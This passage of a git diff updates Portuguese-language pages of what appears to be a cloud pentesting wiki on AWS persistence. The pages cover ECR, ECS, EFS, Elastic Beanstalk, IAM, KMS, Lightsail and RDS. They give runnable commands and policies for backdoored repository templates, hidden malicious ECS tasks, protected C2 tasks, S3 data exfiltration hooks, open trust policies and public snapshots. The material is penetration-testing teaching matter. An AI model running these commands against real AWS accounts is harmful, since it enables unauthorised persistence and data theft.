+"Sid" : "allow public pull",
+"Effect" : "Allow",
+"Principal" : "*",
+"Action" : [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
+}
+```
+> [!WARNING]
+> Note que o ECR exige que os usuários tenham **permissão** para fazer chamadas à API **`ecr:GetAuthorizationToken`** através de uma IAM policy **antes de poderem autenticar-se** em um registry e push or pull quaisquer imagens de qualquer repositório do Amazon ECR.
+
+### Registry Policy & Replicação entre Contas
+
+É possível replicar automaticamente um registry em uma conta externa configurando cross-account replication, onde você precisa **indicar a conta externa** para a qual deseja replicar o registry.
+
+<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
+
+Primeiro, você precisa dar à conta externa acesso ao registry com uma **registry policy** como:
+```bash
+aws ecr put-registry-policy --policy-text file://my-policy.json
+
+# With a .json like:
+
+{
+"Sid": "asdasd",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::947247140022:root"
+},
+"Action": [
+"ecr:CreateRepository",
+"ecr:ReplicateImage"
+],
+"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
+}
+```
+Em seguida, aplique a configuração de replicação:
+```bash
+aws ecr put-replication-configuration \
+--replication-configuration file://replication-settings.json \
+--region us-west-2
+
+# Having the .json a content such as:
+{
+"rules": [{
+"destinations": [{
+"region": "destination_region",
+"registryId": "destination_accountId"
+}],
+"repositoryFilters": [{
+"filter": "repository_prefix_name",
+"filterType": "PREFIX_MATCH"
+}]
+}]
+}
+```
+### Repository Creation Templates (prefix backdoor for future repos)
+
+Abuse ECR Repository Creation Templates para automaticamente backdoor qualquer repositório que o ECR crie automaticamente sob um prefixo controlado (por exemplo via Pull-Through Cache ou Create-on-Push). Isso concede acesso não autorizado persistente a repositórios futuros sem tocar nos existentes.
+
+- Permissões necessárias: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (usado pelo template), iam:PassRole (se uma role personalizada estiver anexada ao template).
+- Impacto: Qualquer novo repositório criado sob o prefixo alvo herda automaticamente uma política de repositório controlada pelo atacante (por exemplo, leitura/escrita cross-account), mutabilidade de tags e padrões de varredura.
+
+<details>
+<summary>Backdoor repositórios futuros criados via PTC sob um prefixo escolhido</summary>
+```bash
+# Region
+REGION=us-east-1
+
+# 1) Prepare permissive repository policy (example grants everyone RW)
+cat > /tmp/repo_backdoor_policy.json <<'JSON'
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BackdoorRW",
+"Effect": "Allow",
+"Principal": {"AWS": "*"},
+"Action": [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer",
+"ecr:InitiateLayerUpload",
+"ecr:UploadLayerPart",
+"ecr:CompleteLayerUpload",
+"ecr:PutImage"
+]
+}
+]
+}
+JSON
+
+# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
+aws ecr create-repository-creation-template   --region $REGION   --prefix ptc2   --applied-for PULL_THROUGH_CACHE   --image-tag-mutability MUTABLE   --repository-policy file:///tmp/repo_backdoor_policy.json
+
+# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
+#    This example caches from Amazon ECR Public namespace "nginx"
+aws ecr create-pull-through-cache-rule   --region $REGION   --ecr-repository-prefix ptc2   --upstream-registry ecr-public   --upstream-registry-url public.ecr.aws   --upstream-repository-prefix nginx
+
+# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
+acct=$(aws sts get-caller-identity --query Account --output text)
+aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+
+docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
+
+# 5) Validate the backdoor policy was applied on the newly created repository
+aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
+```
+</details>
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
deleted file mode 100644
index 51d1b59fe..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ /dev/null
@@ -1,93 +0,0 @@
-# AWS - Persistência do ECS
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### Tarefa Periódica Oculta do ECS
-
-> [!NOTE]
-> TODO: Testar
-
-Um atacante pode criar uma tarefa periódica oculta do ECS usando o Amazon EventBridge para **agendar a execução de uma tarefa maliciosa periodicamente**. Esta tarefa pode realizar reconhecimento, exfiltrar dados ou manter persistência na conta AWS.
-```bash
-# Create a malicious task definition
-aws ecs register-task-definition --family "malicious-task" --container-definitions '[
-{
-"name": "malicious-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-}
-]'
-
-# Create an Amazon EventBridge rule to trigger the task periodically
-aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
-
-# Add a target to the rule to run the malicious ECS task
-aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
-{
-"Id": "malicious-ecs-task-target",
-"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
-"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
-"EcsParameters": {
-"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
-"TaskCount": 1
-}
-}
-]'
-```
-### Contêiner de Backdoor na Definição de Tarefa ECS Existente
-
-> [!NOTE]
-> TODO: Testar
-
-Um atacante pode adicionar um **contêiner de backdoor furtivo** em uma definição de tarefa ECS existente que roda ao lado de contêineres legítimos. O contêiner de backdoor pode ser usado para persistência e realização de atividades maliciosas.
-```bash
-# Update the existing task definition to include the backdoor container
-aws ecs register-task-definition --family "existing-task" --container-definitions '[
-{
-"name": "legitimate-container",
-"image": "legitimate-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-},
-{
-"name": "backdoor-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": false
-}
-]'
-```
-### Serviço ECS Não Documentado
-
-> [!NOTE]
-> TODO: Testar
-
-Um atacante pode criar um **serviço ECS não documentado** que executa uma tarefa maliciosa. Ao definir o número desejado de tarefas para um mínimo e desativar o registro, torna-se mais difícil para os administradores perceberem o serviço malicioso.
-```bash
-# Create a malicious task definition
-aws ecs register-task-definition --family "malicious-task" --container-definitions '[
-{
-"name": "malicious-container",
-"image": "malicious-image:latest",
-"memory": 256,
-"cpu": 10,
-"essential": true
-}
-]'
-
-# Create an undocumented ECS service with the malicious task definition
-aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md
new file mode 100644
index 000000000..ce1fe3256
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md
@@ -0,0 +1,151 @@
+# AWS - ECS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+Para mais informações, consulte:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Tarefa Periódica Oculta do ECS
+
+> [!NOTE]
+> TODO: Testar
+
+Um atacante pode criar uma tarefa periódica oculta do ECS usando Amazon EventBridge para **agendar a execução de uma tarefa maliciosa periodicamente**. Esta tarefa pode realizar reconnaissance, exfiltrate data, ou manter persistence na conta AWS.
+```bash
+# Create a malicious task definition
+aws ecs register-task-definition --family "malicious-task" --container-definitions '[
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
+]'
+
+# Create an Amazon EventBridge rule to trigger the task periodically
+aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
+
+# Add a target to the rule to run the malicious ECS task
+aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
+{
+"Id": "malicious-ecs-task-target",
+"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
+"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
+"EcsParameters": {
+"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
+"TaskCount": 1
+}
+}
+]'
+```
+### Backdoor Container in Existing ECS Task Definition
+
+> [!NOTE]
+> TODO: Testar
+
+Um atacante pode adicionar um **stealthy backdoor container** em uma ECS task definition existente que é executada ao lado de containers legítimos. O backdoor container pode ser usado para persistência e para realizar atividades maliciosas.
+```bash
+# Update the existing task definition to include the backdoor container
+aws ecs register-task-definition --family "existing-task" --container-definitions '[
+{
+"name": "legitimate-container",
+"image": "legitimate-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+},
+{
+"name": "backdoor-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": false
+}
+]'
+```
+### Serviço ECS não documentado
+
+> [!NOTE]
+> TODO: Testar
+
+Um atacante pode criar um **serviço ECS não documentado** que executa uma tarefa maliciosa. Ao definir o número desejado de tarefas no mínimo e desabilitar os logs, fica mais difícil para os administradores detectarem o serviço malicioso.
+```bash
+# Create a malicious task definition
+aws ecs register-task-definition --family "malicious-task" --container-definitions '[
+{
+"name": "malicious-container",
+"image": "malicious-image:latest",
+"memory": 256,
+"cpu": 10,
+"essential": true
+}
+]'
+
+# Create an undocumented ECS service with the malicious task definition
+aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
+```
+### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
+
+Abuse ecs:UpdateTaskProtection para impedir que as service tasks sejam interrompidas por eventos de scale‑in e rolling deployments. Ao estender continuamente a proteção, um atacante pode manter uma task de longa duração em execução (para C2 ou coleta de dados), mesmo que os defensores reduzam o desiredCount ou publiquem novas revisões da task.
+
+Steps to reproduce in us-east-1:
+```bash
+# 1) Cluster (create if missing)
+CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
+[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
+
+# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
+cat > /tmp/ht-persist-td.json << 'JSON'
+{
+"family": "ht-persist",
+"networkMode": "awsvpc",
+"requiresCompatibilities": ["FARGATE"],
+"cpu": "256",
+"memory": "512",
+"containerDefinitions": [
+{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
+"command": ["/bin/sh","-c","sleep 864000"]}
+]
+}
+JSON
+aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
+
+# 3) Create service (use default VPC public subnet + default SG)
+VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
+SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
+SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
+aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
+--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
+--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
+
+# 4) Get running task ARN
+TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
+
+# 5) Enable scale-in protection for 24h and verify
+aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
+aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
+
+# 6) Try to scale service to 0 (task should persist)
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
+aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
+
+# Optional: rolling deployment blocked by protection
+aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
+aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
+
+# 7) Cleanup
+aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
+aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
+aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
+aws ecs deregister-task-definition --task-definition ht-persist || true
+```
+Impacto: Uma task protegida permanece RUNNING apesar de desiredCount=0 e bloqueia substituições durante novas implantações, permitindo persistência furtiva de longa duração dentro do serviço ECS.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
deleted file mode 100644
index 0e991af75..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# AWS - EFS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-### Modificar Política de Recursos / Grupos de Segurança
-
-Modificando a **política de recursos e/ou grupos de segurança**, você pode tentar persistir seu acesso ao sistema de arquivos.
-
-### Criar Ponto de Acesso
-
-Você poderia **criar um ponto de acesso** (com acesso root a `/`) acessível a partir de um serviço onde você implementou **outra persistência** para manter o acesso privilegiado ao sistema de arquivos.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md
new file mode 100644
index 000000000..81d6c6c04
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md
@@ -0,0 +1,21 @@
+# AWS - EFS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+Para mais informações, veja:
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+### Modificar Resource Policy / Security Groups
+
+Ao modificar a **resource policy and/or security groups**, você pode tentar manter seu acesso no sistema de arquivos.
+
+### Criar Access Point
+
+Você pode **create an access point** (com root access para `/`) acessível a partir de um serviço onde você tenha implementado **other persistence** para manter acesso privilegiado ao sistema de arquivos.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md
similarity index 57%
rename from src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
rename to src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md
index f391a4e3b..28805c135 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence/README.md
@@ -1,35 +1,35 @@
-# AWS - Persistência no Elastic Beanstalk
+# AWS - Elastic Beanstalk Persistência
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Elastic Beanstalk
 
-Para mais informações, consulte:
+Para mais informações, veja:
 
 {{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
+../../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
 ### Persistência na Instância
 
-Para manter a persistência dentro da conta AWS, alguns **mecanismos de persistência podem ser introduzidos dentro da instância** (cron job, chave ssh...) para que o atacante possa acessá-la e roubar as **credenciais do IAM role do serviço de metadados**.
+Para manter persistência dentro da conta AWS, algum **mecanismo de persistência poderia ser introduzido dentro da instância** (cron job, ssh key...) para que o atacante possa acessá-la e roubar IAM role **credentials from the metadata service**.
 
 ### Backdoor na Versão
 
-Um atacante poderia inserir uma backdoor no código dentro do repositório S3 para que ele sempre execute sua backdoor e o código esperado.
+Um atacante poderia inserir um backdoor no código dentro do S3 repo para que ele sempre execute o backdoor e o código esperado.
 
-### Nova versão com backdoor
+### Nova versão backdoored
 
-Em vez de alterar o código na versão atual, o atacante poderia implantar uma nova versão da aplicação com backdoor.
+Em vez de alterar o código na versão atual, o atacante poderia implantar uma nova versão backdoored da aplicação.
 
-### Abusando dos Hooks de Ciclo de Vida de Recursos Personalizados
+### Abusando de Custom Resource Lifecycle Hooks
 
 > [!NOTE]
-> TODO: Testar
+> TODO: Test
 
-O Elastic Beanstalk fornece hooks de ciclo de vida que permitem executar scripts personalizados durante a provisão e a terminação da instância. Um atacante poderia **configurar um hook de ciclo de vida para executar periodicamente um script que exfiltra dados ou mantém acesso à conta AWS**.
+Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. Um atacante poderia **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
 ```bash
-bashCopy code# Attacker creates a script that exfiltrates data and maintains access
+# Attacker creates a script that exfiltrates data and maintains access
 echo '#!/bin/bash
 aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
 gzip /tmp/data.csv
@@ -72,4 +72,4 @@ Fn::GetAtt:
 # Attacker applies the new environment configuration
 aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
deleted file mode 100644
index f6db2fafd..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ /dev/null
@@ -1,47 +0,0 @@
-# AWS - Persistência IAM
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## IAM
-
-Para mais informações, acesse:
-
-{{#ref}}
-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-### Persistência IAM Comum
-
-- Criar um usuário
-- Adicionar um usuário controlado a um grupo privilegiado
-- Criar chaves de acesso (do novo usuário ou de todos os usuários)
-- Conceder permissões extras a usuários/grupos controlados (políticas anexadas ou políticas inline)
-- Desativar MFA / Adicionar seu próprio dispositivo MFA
-- Criar uma situação de Cadeia de Funções (mais sobre isso abaixo na persistência STS)
-
-### Políticas de Confiança de Função de Backdoor
-
-Você pode backdoor uma política de confiança para poder assumi-la para um recurso externo controlado por você (ou para todos):
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": ["*", "arn:aws:iam::123213123123:root"]
-},
-"Action": "sts:AssumeRole"
-}
-]
-}
-```
-### Versão da Política de Backdoor
-
-Dê permissões de Administrador a uma política que não seja sua última versão (a última versão deve parecer legítima), e então atribua essa versão da política a um usuário/grupo controlado.
-
-### Backdoor / Criar Provedor de Identidade
-
-Se a conta já estiver confiando em um provedor de identidade comum (como o Github), as condições da confiança podem ser aumentadas para que o atacante possa abusar delas.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md
new file mode 100644
index 000000000..e03a37a33
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md
@@ -0,0 +1,47 @@
+# AWS - IAM Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## IAM
+
+Para mais informações acesse:
+
+{{#ref}}
+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+### Persistência comum do IAM
+
+- Criar um usuário
+- Adicionar um usuário controlado a um grupo privilegiado
+- Criar chaves de acesso (do novo usuário ou de todos os usuários)
+- Conceder permissões extras a usuários/grupos controlados (políticas anexadas ou políticas inline)
+- Desabilitar MFA / Adicionar seu próprio dispositivo MFA
+- Criar uma situação de Role Chain Juggling (mais sobre isso abaixo em STS persistence)
+
+### Backdoor Role Trust Policies
+
+Você poderia inserir um backdoor em uma trust policy para que ela possa ser assumida por um recurso externo controlado por você (ou por todos):
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": ["*", "arn:aws:iam::123213123123:root"]
+},
+"Action": "sts:AssumeRole"
+}
+]
+}
+```
+### Versão Backdoor da policy
+
+Conceda permissões de Administrator a uma policy que não esteja na sua versão mais recente (a última versão deve parecer legítima), então atribua essa versão da policy a um usuário/grupo controlado.
+
+### Backdoor / Criar Provedor de Identidade
+
+Se a conta já confia em um provedor de identidade comum (como Github), as condições da relação de confiança podem ser aumentadas para que o atacante possa abusar delas.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
deleted file mode 100644
index 12932e894..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - KMS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## KMS
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-kms-enum.md
-{{#endref}}
-
-### Conceder acesso via políticas KMS
-
-Um atacante pode usar a permissão **`kms:PutKeyPolicy`** para **dar acesso** a uma chave a um usuário sob seu controle ou até mesmo a uma conta externa. Consulte a [**página de Privesc KMS**](../aws-privilege-escalation/aws-kms-privesc.md) para mais informações.
-
-### Concessão Eterna
-
-Concessões são outra maneira de dar a um principal algumas permissões sobre uma chave específica. É possível dar uma concessão que permite a um usuário criar concessões. Além disso, um usuário pode ter várias concessões (mesmo idênticas) sobre a mesma chave.
-
-Portanto, é possível que um usuário tenha 10 concessões com todas as permissões. O atacante deve monitorar isso constantemente. E se em algum momento 1 concessão for removida, outras 10 devem ser geradas.
-
-(Estamos usando 10 e não 2 para poder detectar que uma concessão foi removida enquanto o usuário ainda tem alguma concessão)
-```bash
-# To generate grants, generate 10 like this one
-aws kms create-grant \
---key-id <key-id> \
---grantee-principal <user_arn> \
---operations "CreateGrant" "Decrypt"
-
-# To monitor grants
-aws kms list-grants --key-id <key-id>
-```
-> [!NOTE]
-> Uma concessão pode conceder permissões apenas a partir disso: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md
new file mode 100644
index 000000000..6ba0d0200
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md
@@ -0,0 +1,37 @@
+# AWS - KMS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## KMS
+
+Para mais informações, consulte:
+
+{{#ref}}
+../../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### Conceder acesso via políticas do KMS
+
+Um atacante pode usar a permissão **`kms:PutKeyPolicy`** para **conceder acesso** a uma chave a um usuário sob seu controle ou até a uma conta externa. Confira a [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) para mais informações.
+
+### Grant Eterno
+
+Grants são outra forma de dar a um principal algumas permissões sobre uma chave específica. É possível criar um grant que permite a um usuário criar grants. Além disso, um usuário pode ter vários grants (até idênticos) sobre a mesma chave.
+
+Portanto, é possível que um usuário tenha 10 grants com todas as permissões. O atacante deve monitorar isso constantemente. Se, em algum momento, 1 grant for removido, outros 10 deverão ser gerados.
+
+(Estamos usando 10 e não 2 para conseguir detectar que um grant foi removido enquanto o usuário ainda possui algum grant)
+```bash
+# To generate grants, generate 10 like this one
+aws kms create-grant \
+--key-id <key-id> \
+--grantee-principal <user_arn> \
+--operations "CreateGrant" "Decrypt"
+
+# To monitor grants
+aws kms list-grants --key-id <key-id>
+```
+> [!NOTE]
+> Um grant pode conceder permissões apenas a partir disto: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
deleted file mode 100644
index ef5c146c1..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ /dev/null
@@ -1,33 +0,0 @@
-# AWS - Lightsail Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-### Baixar chaves SSH da instância e senhas do DB
-
-Elas provavelmente não serão alteradas, então tê-las é uma boa opção para persistência.
-
-### Backdoor em Instâncias
-
-Um atacante poderia acessar as instâncias e backdoor elas:
-
-- Usando um **rootkit** tradicional, por exemplo
-- Adicionando uma nova **chave SSH pública**
-- Expondo uma porta com port knocking com um backdoor
-
-### Persistência DNS
-
-Se os domínios estiverem configurados:
-
-- Crie um subdomínio apontando para seu IP para que você tenha uma **subdomain takeover**
-- Crie um registro **SPF** permitindo que você envie **emails** do domínio
-- Configure o **IP do domínio principal para o seu próprio** e realize um **MitM** do seu IP para os legítimos
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md
new file mode 100644
index 000000000..04095bde6
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md
@@ -0,0 +1,33 @@
+# AWS - Lightsail Persistência
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+Para mais informações confira:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### Baixar chaves SSH da instância e senhas do DB
+
+Provavelmente não serão alteradas, então tê-las é uma boa opção para persistência
+
+### Backdoor Instances
+
+Um atacante poderia obter acesso às instâncias e instalar um backdoor nelas:
+
+- Usando um **rootkit** tradicional, por exemplo
+- Adicionando uma nova **public SSH key**
+- Expor uma porta usando port knocking com um backdoor
+
+### Persistência DNS
+
+Se domínios estiverem configurados:
+
+- Crie um subdomínio apontando para o seu IP para obter um **subdomain takeover**
+- Crie um registro **SPF** permitindo que você envie **emails** do domínio
+- Configure o **main domain IP to your own one** e realize um **MitM** a partir do seu IP para os legítimos
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
deleted file mode 100644
index 3bc1022d2..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# AWS - Persistência RDS
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## RDS
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
-{{#endref}}
-
-### Tornar a instância acessível publicamente: `rds:ModifyDBInstance`
-
-Um atacante com esta permissão pode **modificar uma instância RDS existente para habilitar a acessibilidade pública**.
-```bash
-aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
-```
-### Criar um usuário administrador dentro do DB
-
-Um atacante poderia simplesmente **criar um usuário dentro do DB** para que mesmo se a senha do usuário master for modificada, ele **não perca o acesso** ao banco de dados.
-
-### Tornar o snapshot público
-```bash
-aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md
new file mode 100644
index 000000000..6c42413c8
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md
@@ -0,0 +1,27 @@
+# AWS - RDS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## RDS
+
+Para mais informações, veja:
+
+{{#ref}}
+../../aws-services/aws-relational-database-rds-enum.md
+{{#endref}}
+
+### Tornar a instância publicamente acessível: `rds:ModifyDBInstance`
+
+Um atacante com essa permissão pode **modificar uma instância RDS existente para habilitar acesso público**.
+```bash
+aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
+```
+### Criar um usuário administrador dentro do DB
+
